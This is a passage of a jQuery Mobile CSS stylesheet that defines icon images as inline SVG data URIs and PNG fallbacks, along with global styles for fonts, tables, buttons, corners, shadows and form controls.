.562%2C9.562c3.348%2C1.933%2C7.629%2C0.785%2C9.562-2.562l-1.732-1c-1.381%2C2.392-4.438%2C3.211-6.83%2C1.83%20s-3.211-4.438-1.83-6.83s4.438-3.211%2C6.83-1.83c0.389%2C0.225%2C0.718%2C0.506%2C1.02%2C0.81l-2.52%2C2.52H14.001z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-search:after, .ui-alt-icon .ui-icon-search:after, .ui-input-search:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M10.171%2C8.766c0.617-0.888%2C0.979-1.964%2C0.979-3.126c0-3.037-2.463-5.5-5.5-5.5s-5.5%2C2.463-5.5%2C5.5s2.463%2C5.5%2C5.5%2C5.5%20c1.152%2C0%2C2.223-0.355%2C3.104-0.962l3.684%2C3.683l1.414-1.414L10.171%2C8.766z%20M5.649%2C9.14c-1.933%2C0-3.5-1.567-3.5-3.5%20c0-1.933%2C1.567-3.5%2C3.5-3.5c1.933%2C0%2C3.5%2C1.567%2C3.5%2C3.5C9.149%2C7.572%2C7.582%2C9.14%2C5.649%2C9.14z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-shop:after, .ui-alt-icon .ui-icon-shop:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M10%2C4V3c0-1.657-1.343-3-3-3S4%2C1.343%2C4%2C3v1H1v10h12V4H10z%20M4.5%2C6C4.224%2C6%2C4%2C5.776%2C4%2C5.5S4.224%2C5%2C4.5%2C5S5%2C5.224%2C5%2C5.5%20S4.776%2C6%2C4.5%2C6z%20M5%2C3c0-1.104%2C0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2v1H5V3z%20M9.5%2C6C9.225%2C6%2C9%2C5.776%2C9%2C5.5S9.225%2C5%2C9.5%2C5S10%2C5.224%2C10%2C5.5%20S9.775%2C6%2C9.5%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-star:after, .ui-alt-icon .ui-icon-star:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C5%209%2C5%207%2C0%205%2C5%200%2C5%204%2C8%202.625%2C13%207%2C10%2011.375%2C13%2010%2C8%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-tag:after, .ui-alt-icon .ui-icon-tag:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C0H0v5l9%2C9l5-5L5%2C0z%20M3%2C4C2.447%2C4%2C2%2C3.553%2C2%2C3s0.447-1%2C1-1s1%2C0.447%2C1%2C1S3.553%2C4%2C3%2C4z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-user:after, .ui-alt-icon .ui-icon-user:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M8.851%2C10.101c-0.18-0.399-0.2-0.763-0.153-1.104C9.383%2C8.49%2C9.738%2C7.621%2C9.891%2C6.465C10.493%2C6.355%2C10.5%2C5.967%2C10.5%2C5.5%20c0-0.437-0.008-0.804-0.502-0.94C9.999%2C4.539%2C10%2C4.521%2C10%2C4.5c0-2.103-1-4-2-4C8%2C0.5%2C7.5%2C0%2C6.5%2C0C5%2C0%2C4%2C1.877%2C4%2C4.5%20c0%2C0.021%2C0.001%2C0.039%2C0.002%2C0.06C3.508%2C4.696%2C3.5%2C5.063%2C3.5%2C5.5c0%2C0.467%2C0.007%2C0.855%2C0.609%2C0.965%20C4.262%2C7.621%2C4.617%2C8.49%2C5.303%2C8.997c0.047%2C0.341%2C0.026%2C0.704-0.153%2C1.104C1.503%2C10.503%2C0%2C12%2C0%2C12v2h14v-2%20C14%2C12%2C12.497%2C10.503%2C8.851%2C10.101z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-video:after, .ui-alt-icon .ui-icon-video:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%20-2%2014%2014%22%20style%3D%22enable-background%3Anew%200%20-2%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M8%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2h6c1.104%2C0%2C2-0.896%2C2-2V5V2C10%2C0.896%2C9.104%2C0%2C8%2C0z%20M10%2C5l4%2C4V1L10%2C5z%22%2F%3E%3C%2Fsvg%3E"); } /* PNG icons */ .ui-nosvg .ui-icon-action:after { background-image: url(images/icons-png/action-white.png); } .ui-nosvg .ui-icon-alert:after { background-image: url(images/icons-png/alert-white.png); } .ui-nosvg .ui-icon-arrow-d-l:after { background-image: url(images/icons-png/arrow-d-l-white.png); } .ui-nosvg .ui-icon-arrow-d-r:after { background-image: url(images/icons-png/arrow-d-r-white.png); } .ui-nosvg .ui-icon-arrow-d:after { background-image: url(images/icons-png/arrow-d-white.png); } .ui-nosvg .ui-icon-arrow-l:after { background-image: url(images/icons-png/arrow-l-white.png); } .ui-nosvg .ui-icon-arrow-r:after { background-image: url(images/icons-png/arrow-r-white.png); } .ui-nosvg .ui-icon-arrow-u-l:after { background-image: url(images/icons-png/arrow-u-l-white.png); } .ui-nosvg .ui-icon-arrow-u-r:after { background-image: url(images/icons-png/arrow-u-r-white.png); } .ui-nosvg .ui-icon-arrow-u:after { background-image: url(images/icons-png/arrow-u-white.png); } .ui-nosvg .ui-icon-audio:after { background-image: url(images/icons-png/audio-white.png); } .ui-nosvg .ui-icon-back:after { background-image: url(images/icons-png/back-white.png); } .ui-nosvg .ui-icon-bars:after { background-image: url(images/icons-png/bars-white.png); } .ui-nosvg .ui-icon-bullets:after { background-image: url(images/icons-png/bullets-white.png); } .ui-nosvg .ui-icon-calendar:after { background-image: url(images/icons-png/calendar-white.png); } .ui-nosvg .ui-icon-camera:after { background-image: url(images/icons-png/camera-white.png); } .ui-nosvg .ui-icon-carat-d:after { background-image: url(images/icons-png/carat-d-white.png); } .ui-nosvg .ui-icon-carat-l:after { background-image: url(images/icons-png/carat-l-white.png); } .ui-nosvg .ui-icon-carat-r:after { background-image: url(images/icons-png/carat-r-white.png); } .ui-nosvg .ui-icon-carat-u:after { background-image: url(images/icons-png/carat-u-white.png); } .ui-nosvg .ui-icon-check:after, html.ui-nosvg .ui-btn.ui-checkbox-on:after { background-image: url(images/icons-png/check-white.png); } .ui-nosvg .ui-icon-clock:after { background-image: url(images/icons-png/clock-white.png); } .ui-nosvg .ui-icon-cloud:after { background-image: url(images/icons-png/cloud-white.png); } .ui-nosvg .ui-icon-comment:after { background-image: url(images/icons-png/comment-white.png); } .ui-nosvg .ui-icon-delete:after { background-image: url(images/icons-png/delete-white.png); } .ui-nosvg .ui-icon-edit:after { background-image: url(images/icons-png/edit-white.png); } .ui-nosvg .ui-icon-eye:after { background-image: url(images/icons-png/eye-white.png); } .ui-nosvg .ui-icon-forbidden:after { background-image: url(images/icons-png/forbidden-white.png); } .ui-nosvg .ui-icon-forward:after { background-image: url(images/icons-png/forward-white.png); } .ui-nosvg .ui-icon-gear:after { background-image: url(images/icons-png/gear-white.png); } .ui-nosvg .ui-icon-grid:after { background-image: url(images/icons-png/grid-white.png); } .ui-nosvg .ui-icon-heart:after { background-image: url(images/icons-png/heart-white.png); } .ui-nosvg .ui-icon-home:after { background-image: url(images/icons-png/home-white.png); } .ui-nosvg .ui-icon-info:after { background-image: url(images/icons-png/info-white.png); } .ui-nosvg .ui-icon-location:after { background-image: url(images/icons-png/location-white.png); } .ui-nosvg .ui-icon-lock:after { background-image: url(images/icons-png/lock-white.png); } .ui-nosvg .ui-icon-mail:after { background-image: url(images/icons-png/mail-white.png); } .ui-nosvg .ui-icon-minus:after { background-image: url(images/icons-png/minus-white.png); } .ui-nosvg .ui-icon-navigation:after { background-image: url(images/icons-png/navigation-white.png); } .ui-nosvg .ui-icon-phone:after { background-image: url(images/icons-png/phone-white.png); } .ui-nosvg .ui-icon-plus:after { background-image: url(images/icons-png/plus-white.png); } .ui-nosvg .ui-icon-power:after { background-image: url(images/icons-png/power-white.png); } .ui-nosvg .ui-icon-recycle:after { background-image: url(images/icons-png/recycle-white.png); } .ui-nosvg .ui-icon-refresh:after { background-image: url(images/icons-png/refresh-white.png); } .ui-nosvg .ui-icon-search:after { background-image: url(images/icons-png/search-white.png); } .ui-nosvg .ui-icon-shop:after { background-image: url(images/icons-png/shop-white.png); } .ui-nosvg .ui-icon-star:after { background-image: url(images/icons-png/star-white.png); } .ui-nosvg .ui-icon-tag:after { background-image: url(images/icons-png/tag-white.png); } .ui-nosvg .ui-icon-user:after { background-image: url(images/icons-png/user-white.png); } .ui-nosvg .ui-icon-video:after { background-image: url(images/icons-png/video-white.png); } /* Alt icons */ .ui-nosvg .ui-alt-icon.ui-icon-action:after, .ui-nosvg .ui-alt-icon .ui-icon-action:after { background-image: url(images/icons-png/action-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-alert:after, .ui-nosvg .ui-alt-icon .ui-icon-alert:after { background-image: url(images/icons-png/alert-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-d:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-d:after { background-image: url(images/icons-png/arrow-d-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url(images/icons-png/arrow-d-l-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url(images/icons-png/arrow-d-r-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-l:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-l:after { background-image: url(images/icons-png/arrow-l-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-r:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-r:after { background-image: url(images/icons-png/arrow-r-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-u:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-u:after { background-image: url(images/icons-png/arrow-u-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url(images/icons-png/arrow-u-l-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-u-r:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url(images/icons-png/arrow-u-r-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-audio:after, .ui-nosvg .ui-alt-icon .ui-icon-audio:after { background-image: url(images/icons-png/audio-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-back:after, .ui-nosvg .ui-alt-icon .ui-icon-back:after { background-image: url(images/icons-png/back-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-bars:after, .ui-nosvg .ui-alt-icon .ui-icon-bars:after { background-image: url(images/icons-png/bars-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-bullets:after, .ui-nosvg .ui-alt-icon .ui-icon-bullets:after { background-image: url(images/icons-png/bullets-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-calendar:after, .ui-nosvg .ui-alt-icon .ui-icon-calendar:after { background-image: url(images/icons-png/calendar-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-camera:after, .ui-nosvg .ui-alt-icon .ui-icon-camera:after { background-image: url(images/icons-png/camera-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-carat-d:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-d:after { background-image: url(images/icons-png/carat-d-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-carat-l:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-l:after { background-image: url(images/icons-png/carat-l-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-carat-r:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-r:after { background-image: url(images/icons-png/carat-r-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-carat-u:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-u:after { background-image: url(images/icons-png/carat-u-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-check:after, .ui-nosvg .ui-alt-icon .ui-icon-check:after, .ui-nosvg .ui-alt-icon.ui-btn.ui-checkbox-on:after, .ui-nosvg .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url(images/icons-png/check-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-clock:after, .ui-nosvg .ui-alt-icon .ui-icon-clock:after { background-image: url(images/icons-png/clock-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-cloud:after, .ui-nosvg .ui-alt-icon .ui-icon-cloud:after { background-image: url(images/icons-png/cloud-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-comment:after, .ui-nosvg .ui-alt-icon .ui-icon-comment:after { background-image: url(images/icons-png/comment-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-delete:after, .ui-nosvg .ui-alt-icon .ui-icon-delete:after { background-image: url(images/icons-png/delete-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-edit:after, .ui-nosvg .ui-alt-icon .ui-icon-edit:after { background-image: url(images/icons-png/edit-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-eye:after, .ui-nosvg .ui-alt-icon .ui-icon-eye:after { background-image: url(images/icons-png/eye-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-forbidden:after, .ui-nosvg .ui-alt-icon .ui-icon-forbidden:after { background-image: url(images/icons-png/forbidden-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-forward:after, .ui-nosvg .ui-alt-icon .ui-icon-forward:after { background-image: url(images/icons-png/forward-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-gear:after, .ui-nosvg .ui-alt-icon .ui-icon-gear:after { background-image: url(images/icons-png/gear-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-grid:after, .ui-nosvg .ui-alt-icon .ui-icon-grid:after { background-image: url(images/icons-png/grid-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-heart:after, .ui-nosvg .ui-alt-icon .ui-icon-heart:after { background-image: url(images/icons-png/heart-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-home:after, .ui-nosvg .ui-alt-icon .ui-icon-home:after { background-image: url(images/icons-png/home-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-info:after, .ui-nosvg .ui-alt-icon .ui-icon-info:after { background-image: url(images/icons-png/info-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-location:after, .ui-nosvg .ui-alt-icon .ui-icon-location:after { background-image: url(images/icons-png/location-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-lock:after, .ui-nosvg .ui-alt-icon .ui-icon-lock:after { background-image: url(images/icons-png/lock-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-mail:after, .ui-nosvg .ui-alt-icon .ui-icon-mail:after { background-image: url(images/icons-png/mail-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-minus:after, .ui-nosvg .ui-alt-icon .ui-icon-minus:after { background-image: url(images/icons-png/minus-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-navigation:after, .ui-nosvg .ui-alt-icon .ui-icon-navigation:after { background-image: url(images/icons-png/navigation-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-phone:after, .ui-nosvg .ui-alt-icon .ui-icon-phone:after { background-image: url(images/icons-png/phone-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-plus:after, .ui-nosvg .ui-alt-icon .ui-icon-plus:after { background-image: url(images/icons-png/plus-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-power:after, .ui-nosvg .ui-alt-icon .ui-icon-power:after { background-image: url(images/icons-png/power-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-recycle:after, .ui-nosvg .ui-alt-icon .ui-icon-recycle:after { background-image: url(images/icons-png/recycle-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-refresh:after, .ui-nosvg .ui-alt-icon .ui-icon-refresh:after { background-image: url(images/icons-png/refresh-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-search:after, .ui-nosvg .ui-alt-icon .ui-icon-search:after, .ui-nosvg .ui-input-search:after { background-image: url(images/icons-png/search-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-shop:after, .ui-nosvg .ui-alt-icon .ui-icon-shop:after { background-image: url(images/icons-png/shop-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-star:after, .ui-nosvg .ui-alt-icon .ui-icon-star:after { background-image: url(images/icons-png/star-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-tag:after, .ui-nosvg .ui-alt-icon .ui-icon-tag:after { background-image: url(images/icons-png/tag-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-user:after, .ui-nosvg .ui-alt-icon .ui-icon-user:after { background-image: url(images/icons-png/user-black.png); } .ui-nosvg .ui-alt-icon.ui-icon-video:after, .ui-nosvg .ui-alt-icon .ui-icon-video:after { background-image: url(images/icons-png/video-black.png); } /* Globals */ /* Font -----------------------------------------------------------------------------------------------------------*/ html { font-size: 100%; } body, input, select, textarea, button, .ui-btn { font-size: 1em; line-height: 1.3; font-family: sans-serif /*{global-font-family}*/; } legend, .ui-input-text input, .ui-input-search input { color: inherit; text-shadow: inherit; } /* Form labels (overrides font-weight bold in bars, and mini font-size) */ .ui-mobile label, div.ui-controlgroup-label { font-weight: normal; font-size: 16px; } /* Separators -----------------------------------------------------------------------------------------------------------*/ /* Field contain separator (< 28em) */ .ui-field-contain { border-bottom-color: #828282; border-bottom-color: rgba(0,0,0,.15); border-bottom-width: 1px; border-bottom-style: solid; } /* Table opt-in classes: strokes between each row, and alternating row stripes */ /* Classes table-stroke and table-stripe are deprecated in 1.4. */ .table-stroke thead th, .table-stripe thead th, .table-stripe tbody tr:last-child { border-bottom: 1px solid #d6d6d6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.1); } .table-stroke tbody th, .table-stroke tbody td { border-bottom: 1px solid #e6e6e6; /* non-RGBA fallback */ border-bottom: 1px solid rgba(0,0,0,.05); } .table-stripe.table-stroke tbody tr:last-child th, .table-stripe.table-stroke tbody tr:last-child td { border-bottom: 0; } .table-stripe tbody tr:nth-child(odd) td, .table-stripe tbody tr:nth-child(odd) th { background-color: #eeeeee; /* non-RGBA fallback */ background-color: rgba(0,0,0,.04); } /* Buttons -----------------------------------------------------------------------------------------------------------*/ .ui-btn, label.ui-btn { font-weight: bold; border-width: 1px; border-style: solid; } .ui-btn { text-decoration: none !important; } .ui-btn-active { cursor: pointer; } /* Corner rounding -----------------------------------------------------------------------------------------------------------*/ /* Class ui-btn-corner-all deprecated in 1.4 */ .ui-corner-all { -webkit-border-radius: .3125em /*{global-radii-blocks}*/; border-radius: .3125em /*{global-radii-blocks}*/; } /* Buttons */ .ui-btn-corner-all, .ui-btn.ui-corner-all, /* Slider track */ .ui-slider-track.ui-corner-all, /* Flipswitch */ .ui-flipswitch.ui-corner-all, /* Count bubble */ .ui-li-count { -webkit-border-radius: .3125em /*{global-radii-buttons}*/; border-radius: .3125em /*{global-radii-buttons}*/; } /* Icon-only buttons */ .ui-btn-icon-notext.ui-btn-corner-all, .ui-btn-icon-notext.ui-corner-all { -webkit-border-radius: 1em; border-radius: 1em; } /* Radius clip workaround for cleaning up corner trapping */ .ui-btn-corner-all, .ui-corner-all { -webkit-background-clip: padding; background-clip: padding-box; } /* Popup arrow */ .ui-popup.ui-corner-all > .ui-popup-arrow-guide { left: .6em /*{global-radii-blocks}*/; right: .6em /*{global-radii-blocks}*/; top: .6em /*{global-radii-blocks}*/; bottom: .6em /*{global-radii-blocks}*/; } /* Shadow -----------------------------------------------------------------------------------------------------------*/ .ui-shadow { -webkit-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; -moz-box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; box-shadow: 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.15) /*{global-box-shadow-color}*/; } .ui-shadow-inset { -webkit-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; -moz-box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; box-shadow: inset 0 1px 3px /*{global-box-shadow-size}*/ rgba(0,0,0,.2) /*{global-box-shadow-color}*/; } .ui-overlay-shadow { -webkit-box-shadow: 0 0 12px rgba(0,0,0,.6); -moz-box-shadow: 0 0 12px rgba(0,0,0,.6); box-shadow: 0 0 12px rgba(0,0,0,.6); } /* Icons -----------------------------------------------------------------------------------------------------------*/ .ui-btn-icon-left:after, .ui-btn-icon-right:after, .ui-btn-icon-top:after, .ui-btn-icon-bottom:after, .ui-btn-icon-notext:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.3) /*{global-icon-disc}*/; background-position: center center; background-repeat: no-repeat; -webkit-border-radius: 1em; border-radius: 1em; } /* Alt icons */ .ui-alt-icon.ui-btn:after, .ui-alt-icon .ui-btn:after, html .ui-alt-icon.ui-checkbox-off:after, html .ui-alt-icon.ui-radio-off:after, html .ui-alt-icon .ui-checkbox-off:after, html .ui-alt-icon .ui-radio-off:after { background-color: #666 /*{global-icon-color}*/; background-color: rgba(0,0,0,.15) /*{global-icon-disc}*/; } /* No disc */ .ui-nodisc-icon.ui-btn:after, .ui-nodisc-icon .ui-btn:after { background-color: transparent; } /* Icon shadow */ .ui-shadow-icon.ui-btn:after, .ui-shadow-icon .ui-btn:after { -webkit-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; -moz-box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; box-shadow: 0 1px 0 rgba(255,255,255,.3) /*{global-icon-shadow}*/; } /* Checkbox and radio */ .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after, .ui-btn.ui-radio-off:after, .ui-btn.ui-radio-on:after { display: block; width: 18px; height: 18px; margin: -9px 2px 0 2px; } .ui-checkbox-off:after, .ui-btn.ui-radio-off:after { filter: Alpha(Opacity=30); opacity: .3; } .ui-btn.ui-checkbox-off:after, .ui-btn.ui-checkbox-on:after { -webkit-border-radius: .1875em; border-radius: .1875em; } .ui-btn.ui-checkbox-off:after { background-color: #666; background-color: rgba(0,0,0,.3); } .ui-radio .ui-btn.ui-radio-on:after { background-image: none; background-color: #fff; width: 8px; height: 8px; border-width: 5px; border-style: solid; } .ui-alt-icon.ui-btn.ui-radio-on:after, .ui-alt-icon .ui-btn.ui-radio-on:after { background-color: #000; } /* Loader */ .ui-icon-loading { background: url(images/ajax-loader.gif); background-size: 2.875em 2.875em; } /* Swatches */ /* A -----------------------------------------------------------------------------------------------------------*/ /* Bar: Toolbars, dividers, slider track */ .ui-bar-a, .ui-page-theme-a .ui-bar-inherit, html .ui-bar-a .ui-bar-inherit, html .ui-body-a .ui-bar-inherit, html body .ui-group-theme-a 